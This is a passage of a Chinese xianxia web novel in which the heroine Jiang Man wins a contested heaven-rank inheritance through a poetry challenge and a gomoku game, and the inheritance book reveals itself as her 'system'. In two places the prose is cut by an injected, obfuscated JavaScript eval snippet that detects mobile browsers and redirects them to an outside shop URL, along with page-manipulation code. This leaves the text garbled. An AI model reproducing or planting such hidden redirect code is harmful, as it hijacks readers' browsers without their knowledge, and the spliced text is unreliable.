那不是自然天光,而是面前飘浮的一本巨大的古书散发出来的光芒。古书约莫半人大小,缓缓旋转着,散发出令人心悸的古老气息。 她发现自己半躺在一个巨大的圆形平台上,平台地面铺着温润的白玉,上面还刻满了繁复的银色符文。 而平台之外,是一片沙地,沙地上站了好些人,和她一起传送过来的沈澜、苏离等五人也在沙地上看着她,他们都带着伤,但好在性命无虞。 见她清醒,沈澜想上前一步,但却被平台上的白光弹开。 “这是哪里?”江蔓有些疑惑地喃喃自语。 “天阶功法的传承比斗台。”身旁传来一道声音。 江蔓转头,这才发现除了她之外,平台上还有其他人。 四男一女。 刚刚说话的就是那名女子。她约莫二十七八岁,身穿太华宗内门弟子标准的青色流云广袖裙,裙摆绣着精致的银色云纹。面容清丽,眉眼间与苏离有七分相似,但气质更加沉稳。 此刻她手持一柄青玉长剑,剑尖斜指对面之人,周身散发着筑基后期的强横气息。 苏离的姐姐,苏清音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125921|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被苏清音用剑指着的,正是寒渊谷中想杀她夺宝的凌虚阁弟子谢无回。 谢无回手持金色长枪,正与苏清音对峙,气氛剑拔弩张。 “谢无回……”沈澜的声音传至江蔓耳边,他人虽无法站在平台上,但却用一种方法传音入密,低声给江蔓介绍平台上的人,“凌虚阁这一代的首席真传,金火双灵根,修为已是筑基大圆满。” 在他身后的便是握着长鞭的秦武。 “秦武。”沈澜继续介绍,“资质不值一提,却是凌虚阁掌门之子,凌虚阁掌门的修为已是元婴后期。” 江蔓神色微暗,难怪这人在寒渊谷中如此嚣张,原来是背景强硬。 她刚见到这两人时,还担心这两人对她出手,但她很快意识到自己所在的地方,是天阶传承的塔内,这两人顾及着名门正派的脸面,必不会当着这么多人的面杀她夺宝。 江蔓视线落在第四人身上,那人站在角落里,身材魁梧、赤裸上身,露出一身古铜色的肌肤和结实的肌肉,肌肉表面隐约可见淡金色的纹路流转。 “段流天。”沈澜没有停止介绍,“散修中的狠角色,是一名体修,据说曾以肉身硬抗金丹初期修士一击而不死。” 最后一人,则是个看起来平平无奇的柔弱文士。他身穿沧澜派标志性的蓝白渐变长袍,袖口与衣襟处绣着层层叠叠的水波纹路。面容儒雅,手中并无武器,仿佛悠闲闲逛般站在擂台上。 “沧澜派,沐轻尘。”沈澜顿了顿,“此人阵法造诣极高,被誉为苍茫界百年来第一阵法天才。” 江蔓还是第一次遇到阵修,不由多看了两眼。 这五人,除了秦武外,个个气息强横,最低也是筑基后期。但此刻他们都气息不稳,显然刚经历了一场恶战。 看到江蔓,秦武又是震惊又是愤怒,他当然记得江蔓,就是江蔓将他的寒玉果抢走的:“你怎么在这里?”话音落下,他便朝江蔓身上甩鞭子,那力道一点都没有留手。 江蔓感慨这真是一个疯子,果然有个元婴期的爹就是不一样。她原地一滚,身上浮现淡淡金光,幸而她之前做了两个“画个圈”阵盘,血手毁了一个,她还有另外一个。 “咦?”原本事不关己的沐轻尘不由看了江蔓一眼,这阵法有点意思。 秦武见一击不中,想继续攻击,便被苏清音一剑拦了下来,长剑和长鞭相交,激起刺目的火花。苏清音挡在江蔓身前,青玉长剑纹丝不动,她冷冷看着秦武:“秦道友对我们太华宗弟子出手,是不顾两个门派之间的情谊了吗?” 谢无回拦下冲动的秦武,声音冷冽:“秦师弟只是好奇她一个练气期弟子如何进入这传承台,毕竟我们可是在台上战斗了几天,费劲心力才勉强留在这里。” 传承台?战斗? 他这话一出,平台上的五人都看向江蔓,神色意味不明。 天阶功法是目前苍茫界最顶级的功法,每一部都足以开宗立派,引得无数修士疯狂。苍茫界已有很多年没人突破元婴期成为出窍期,有人预言,只有拥有天阶功法才有机会进阶出窍期。上一个获得天阶功法的还是钟离樾,钟离樾的实力众人有目共睹。 难怪这五人会如此警惕。 10. 得到传承 “我只是被传送阵意外传送至此。”江蔓不喜欢被众人俯视,顶着压力站起身,“并无意争夺传承。” 她的声音不大,却清晰传遍平台,话音落下,她感到五道神识几乎同时扫过自己,练气八层的修为暴露无遗。 “传送阵?”秦武第一个嗤笑出声,声音里满是嘲讽,“骗鬼呢?谁不知道这天阶传承台的规矩?” 他向前踏出一步,赤鳞鞭在空中甩出一道火红的弧线:“这天阶传承台的入口只有一处,位于传承塔的第一层。进来的每个修士都要经过‘炼心路’和‘悟道湖’两重考验,方能抵达传承台。之后是传承台混斗,数百修士争夺传承资格,最终只有五人能留在这天阶传承台上,获得传承争夺资格。” 秦武用鞭子指了指脚下的白玉平台:“在这最终传承台上,最后的五人还要经过比拼,胜者才能获得传承。你一个练气期,怎么可能越过所有考验,直接传送到这里?” 他越说越气,声音都拔高了几分。 自从寒渊谷遇见江蔓后,他便一直不顺。先是眼看就要到手的寒玉果被这女修捡了便宜,又被突然出现的钟离樾的一道剑气吓得狼狈逃走。进入传承之地后更是处处受挫,若非谢师兄念在同门之谊护着他,加上父亲临行前给他的数件保命宝物,他根本走不到这里。 传承台混战时,他勉强成为最后留在台上的五人之一。本以为终于苦尽甘来,能有机会争夺天阶功法回去让父亲刮目相看,让他知道凌虚阁以后也是可以交到他手中的,谁想到江蔓竟然又冒出来了。 他看到江蔓就觉得没好事发生,怒极反笑,“你没经过考验,凭什么登台?传承台的规矩,只能五人站在台上争夺,多一个都不行。” 他环视其余四人,声音中带着煽动:“诸位,这关系到天阶功法的归属。传承意志之前就说,台上最多留下五人,多一人都不会开放最终的传承争夺。她站在这里,就占了一个名额。” 这话一出,场上气氛陡然一变。 段流天脸上的笑意收敛,谢无回眉头皱得更深,手中的金色长枪微微低垂,枪尖指向地面,但周身灵力已开始流转。沐轻尘依旧平静,只是袖中隐有流光出现。 只有苏清音表情意味不明,毕竟江蔓是太华宗外门弟子,她不会主动对江蔓出手。 但利益相关,没人愿意为了一时好心而耽误机缘。 秦武看上去冲动、没脑子,但毕竟是元婴修士的儿子,还是很聪明的,知道这个时候只有煽动众人,将江蔓放在几人对立面,才有可能将江蔓赶下台去。 “你给我下去。”他又朝江蔓甩出一鞭,想要将江蔓赶下台去。 此刻无人阻止他的行为,这关系到天阶功法的传承,江蔓站在台上就自然占据了一个名额。 江蔓心中一沉。她一边握紧桃花流云剑,一边用神识安抚躁动的冰鳞蛇。她已经清楚这里的情况了,她练气八层的修为,无论如何也不可能同时对抗五名筑基修士。 但她江蔓也不是任人揉捏的软柿子。 她的目光扫过秦武那张倨傲的脸,心中冷笑:我若是从这传承台上下去,你秦武也别想留在上面了。 赤鳞鞭化作一道闪电,直抽江蔓面门。这一鞭秦武用上了八成灵力,鞭梢在空中炸开三朵火花,封锁了江蔓躲开的空间。秦武心中有气,把之前寒玉果的仇都放在了这鞭里。 筑基初期的全力一击,绝非练气期能轻易接下。 幸亏江蔓早有准备。在秦武抬手的瞬间,她身形迅速向后退,同时左手一扬,三道冰鳞蛇喷出的灵火射向鞭影,右手长剑划出一道圆弧,剑身上浮现出淡淡的桃花虚影。同时在片刻间用上了迷踪阵。 灵火与鞭影相撞,炸开片片火花,赤鳞鞭去势稍减,但仍狠狠抽在江蔓的剑上。 “铛……” 江蔓只觉一股巨力从剑身传来,她受伤了,只能以剑撑地才勉强稳住身形。她喉头一甜,鲜血上涌,又被她强行咽下。 筑基与练气的差距果然很大。 但秦武也没落得好处,他虽知道江蔓擅长阵法,但又被江蔓桃花流云剑上的幻阵以及现场布置的迷踪阵困住了。 “不错。”沐轻尘惊讶出声,之前果然没有看错,这练气期女修阵法用得不错。 被幻阵困住的秦武脸色更加难看,直到谢无回出手,他才从幻阵中挣脱。 他想要再朝江蔓挥出一鞭子,江蔓也做好了让冰鳞蛇将秦武一同带下传承台的准备。 但还没等江蔓行动,平台中央的金色书本突然光芒大盛,将秦武的攻击震开,秦武踉跄了一下才站稳。 一道苍老而威严的声音,直接在所有人脑海中响起: “传承台上,余五人可获功法争夺资格。” 声音苍老晦涩,仿佛穿越了无尽岁月。 “现台上六人,需淘汰一人。” 秦武闻言,目中凶光更甚,死死盯着江蔓,显然打算在传承意志宣布规则后,第一时间将她打下台去。 但下一刻,那声音顿了顿,竟补充了一句: “传送而至者,亦为缘分。” “准其直接晋级最终五人资格。” “什么?” 不说秦武等人,江蔓自己都懵了。 金色书本射出一道柔和的金光,直接将江蔓笼罩其中。 金光中,她感到一股温暖的力量涌入体内,迅速修复着她的伤势,甚至让她的修为隐隐有突破的迹象。 感觉到这金光似乎对她没有恶意,江蔓干脆盘腿坐下,借着金光笼罩,直接晋级了,她现在是练气九层修为了。虽还比不过台上几人的实力,但这种情况下,实力强一点便好一点。 “凭什么?”见江蔓竟然慢悠悠坐下打坐,秦武第一个怒吼,“她一个练气期,凭什么直接晋级?” 谢无回脸色难看,他上前一步,对着金色书籍拱手,声音沉稳但带着压抑的不满:“传承意志,这不公平。若传送而来便可直接晋级,那传承之地的考验意义何在?” 连一向清冷的沐轻尘都蹙起眉,看向江蔓的目光充满审视与不解。 段流天则是直接骂了出来:“老子在问心路上差点走火入魔,在混斗中挨了三刀才抢到这个位置,这小丫头一来就晋级?传承意志,你莫不是在消遣我们?” 场外围观的百余修士更是炸开了锅。 “这也太偏心了。” “那女修什么来头?” “凭什么传送过来就可直接晋级?” 但金色书本根本不理会他们的抗议。光芒扫过平台,在除江蔓以外的五人身上停留一瞬:“现有五人,需决出最后四个名额。” “现在,比斗继续。” 话音落下的瞬间,平台上气氛陡然剑拔弩张。 秦武死死盯着江蔓,眼中满是不甘,但江蔓此刻被金光笼罩,他根本无法攻击江蔓。 他隐隐感觉到,传承意志对这个练气期的女修,似乎有着某种特殊的偏爱。 为什么?凭什么? 秦武想不通,但他知道,若再不动手,自己很可能成为被淘汰的那个。场上五人中,谢无回是师兄不会动他,但其他三人…… 他猛地转头看向段流天,却正对上一双似笑非笑的眼睛。 “秦道友,对不住了。” 段流天话音未落,身形已出现在秦武身边。他本就是体修,速度快得惊人,几乎在声音传入秦武耳中的同时,他的拳头已经砸到秦武腹部。 “砰!” 沉闷的撞击声响起。 秦武甚至来不及催动护体灵力,只觉得腹部一阵剧痛,整个人便倒飞出去,重重摔在平台外的沙地上。 秦武挣扎着抬起头,脸色涨红,但现在不敢和段流天计较,段流天的修为比他高,只恨恨地想着回去就和父亲告状。随即又盯着江蔓,如果不是江蔓突然传送到这里,如果不是传承意志偏心,站在擂台上的五人中定有他。 段流天吹了吹拳头,漫不经心道:“我可不是你师兄,不会惯着你。筑基初期的修为,还是回去好好练练吧。” 说罢,他瞥了一眼谢无回,见对方只是脸色阴沉,并未立刻为师弟报仇,才安心下来。谢无回是凌虚阁精英弟子,想来知道此刻什么才是最重要的。 在段流天看来,最大的威胁是谢无回,其次是那个一直沉默的天衍宗沐轻尘。至于苏清音,虽也是筑基后期,但在这种传承争夺中未必占优。 至于江蔓,就算刚刚晋级了,也才练气九层,就算传承意志有所偏袒,也绝不可能争得过他们。待会儿找机会随手打发了便是,这可比有法宝护体的秦武好对付多了。 秦武的怒火,段流天掏掏耳朵,只当没听见。至于是否得罪凌虚阁,事已至此,只能走一步看一步。 场上气氛微妙地平衡着。 识别到场上只剩五人,金色书本微微震动,苍老声音响起:“第二关考验,对诗。” “对诗?”几人皆是一愣,只有江蔓缓缓抬起头,不会是她想的那个意思吧? 金色书本悬浮在平台中央,书页无风自动,哗啦啦翻动着。忽然,书页停在其中一页,空中金色光芒汇聚,逐渐凝聚成一行流动的文字。 “床前明月光,……” 这明显是一个半句诗。 “床前明月光?”谢无回喃喃重复,眉头紧锁,“这是何意?床前的月光……与修炼有关?” 段流天挠挠头:“月光?月华之力?难不成要我们接一句关于修炼月华功法的句子?可老子不会啊!” 沐轻尘沉吟:“似是凡间诗句,传承怎会出这等题目?” 苏清音也微微蹙眉,太华宗平日里最重剑道,这等平白如话的诗句,她也从未见过。 就连在平台下围观的众人也小声嘀咕:“这要怎么对……” 只有江蔓,在看到那行字的瞬间,浑身一震。 虽然没有过往的记忆,但是看到这句话,她脑海中就习惯性地浮现对应的诗句,这不是她小时候熟背的…… 头痛。 尖锐的刺痛毫无征兆地炸开,仿佛有无数记忆碎片在脑海深处冲撞。她看见一盏昏黄的台灯,听到一个温柔的女声在耳边轻念,看见自己坐在小小的书桌前,一笔一划地抄写…… “疑是地上霜。” 声音很轻,几乎只是唇语。 但整个传承空间骤然寂静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏清音与江蔓相邻,她的棋盘剑意肆意,隐隐有剑意与木系灵力交融,在棋盘上构筑出一片生机盎然的领域,与对面侵蚀而来的死气抗衡。 每个人的棋盘都凶险万分,棋局即是战场,落错一子便有性命之忧。 唯有江蔓…… 她的格子里,棋盘只有纵横各十五条线,格子上方浮现的规则说明是:“五子棋,先连五子者胜。” 棋盘对面坐着的也不是凶神恶煞的虚影,而是一个胖乎乎、圆头圆脑的白色小人。小人眨巴着豆豆眼,手里捧着一枚棋子,朝江蔓做了个“请”的手势。 江蔓:“……” 她迟疑地落下一子。 小胖墩欢快地在她旁边落下一子。 两人你来我往,棋盘上很快形成三子连线。小胖墩似乎很紧张,捧着脸盯着棋盘,豆豆眼里满是认真。 江蔓又落一子,四子连线。 小胖墩“哎呀”一声,慌忙堵截。 江蔓再落一子…… 五子连珠。 小胖墩呆住了,豆豆眼眨了眨,然后“哇”地一声哭出来,化作光点消失了。 棋盘消失。 “江蔓,胜。” 全场死寂。 谢无回正与棋局中的一条黑龙搏杀,闻言猛地转头,看到江蔓那边空空如也的格子,气得没能控制住表情,露出真实情绪:“五子棋?五子棋是什么东西?怎么如此简单?” 段天流也急了:“老子在这里打生打死,她在那儿玩小孩过家家?” 沐轻尘手一抖,阵纹差点画错,脸上第一次露出难以置信的表情。 苏清音深吸一口气,看向江蔓的眼神复杂到了极点。 “这不公平!”一直在下面围观的秦武嘶吼,“传承有猫腻,这根本就是在偏袒她。” 金色书本根本不理会他的咆哮,也不理会台上其他四人复杂的心情,反而爆发出更加炽烈的光芒,声音中透着一股急切:“传承选定人,江蔓。” “无关者退出。” 话音刚落,谢无回、段天流、苏清音、沐轻尘四人脚下的格子亮起金光,将他们推送到围观众人所在的沙地上,随即塔身颤动,将除了江蔓外的所有人都排斥出去。 有人想反抗,但金光如潮水般淹没一切。 沈澜双唇动了动,最后一句传音落入江蔓耳中:“小心。” 众人身影消失,平台上只剩下江蔓一人。 金色书本缓缓飘到她面前,光芒渐渐暗淡,表面浮现出细密的裂纹,仿佛随时可能破裂。 声音再次响起,这一次却不再苍老威严,反而透着难以形容的疲惫与……委屈? “江蔓,我终于找到你了。” 江蔓还没从得到传承的意外中缓过神,听闻此言,愣住了:“你在找我?” 书本表面的裂纹越来越多,光芒开始逸散。在彻底碎裂的前一刻,一个着急的声音传入她识海:“宿主,我是你的系统啊!” 一道流光随着这声嘶吼落入江蔓的识海。 在能量的冲击下,江蔓昏了过去,做了一个梦。